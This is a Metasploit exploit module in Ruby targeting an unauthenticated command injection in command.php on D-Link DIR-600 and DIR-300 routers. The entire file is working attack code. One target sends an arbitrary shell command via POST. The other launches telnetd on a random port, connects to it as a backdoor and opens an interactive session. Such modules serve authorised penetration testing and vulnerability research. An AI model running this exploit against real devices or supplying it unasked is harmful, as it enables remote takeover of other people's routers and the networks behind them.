##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::CommandShell

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'D-Link Devices Unauthenticated Remote Command Execution',
			'Description' => %q{
				Different D-Link Routers are vulnerable to OS command injection via the web
				interface. The vulnerability exists in command.php, which is accessible without
				authentication. This module has been tested with the versions DIR-600 2.14b01,
				DIR-300 rev B 2.13. Two target are included, the first one starts a telnetd service
				and establish a session over it, the second one runs commands via the CMD target.
				There is no wget or tftp client to upload an elf backdoor easily. According to the
				vulnerability discoverer, more D-Link devices may affected.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'OSVDB', '89861' ],
					[ 'EDB', '24453' ],
					[ 'BID', '57734' ],
					[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
					[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
				],
			'DisclosureDate' => 'Feb 04 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true,
				},
			'Targets'        =>
				[
					[ 'CMD',	#all devices
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Telnet',	#all devices - default target
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
				],
			'DefaultTarget'  => 1
			))
	end

	def exploit
		if target.name =~ /CMD/
			exploit_cmd
		else
			exploit_telnet
		end
	end

	def exploit_cmd
		if not (datastore['CMD'])
			fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
		end
		cmd = "#{payload.encoded}; echo end"
		print_status("#{rhost}:#{rport} - Sending exploit request...")
		res = request(cmd)
		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end

		if res.body.include?("end")
			print_good("#{rhost}:#{rport} - Exploited successfully\n")
			vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
			vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
		else
			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
		end

		return
	end

	def exploit_telnet
		telnetport = rand(65535)

		print_status("#{rhost}:#{rport} - Telnet port used: #{telnetport}")

		cmd = "telnetd -p #{telnetport}"

		#starting the telnetd gives no response
		print_status("#{rhost}:#{rport} - Sending exploit request...")
		request(cmd)

		begin
			sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })

			if sock
				print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
				add_socket(sock)
			else
				fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
			end

			print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
			auth_info = {
				:host   => rhost,
				:port   => telnetport,
				:sname => 'telnet',
				:user   => "",
				:pass	=> "",
				:source_type => "exploit",
				:active => true
			}
			report_auth_info(auth_info)
			merge_me = {
				'USERPASS_FILE' => nil,
				'USER_FILE'     => nil,
				'PASS_FILE'     => nil,
				'USERNAME'      => nil,
				'PASSWORD'      => nil
			}
			start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
		rescue
			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
		end
		return
	end

	def request(cmd)

		uri = '/command.php'

		begin
			res = send_request_cgi({
				'uri'    => uri,
				'method' => 'POST',
				'vars_post' => {
					"cmd" => cmd
					}
			})
		return res
		rescue ::Rex::ConnectionError
			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
		end
	end
end
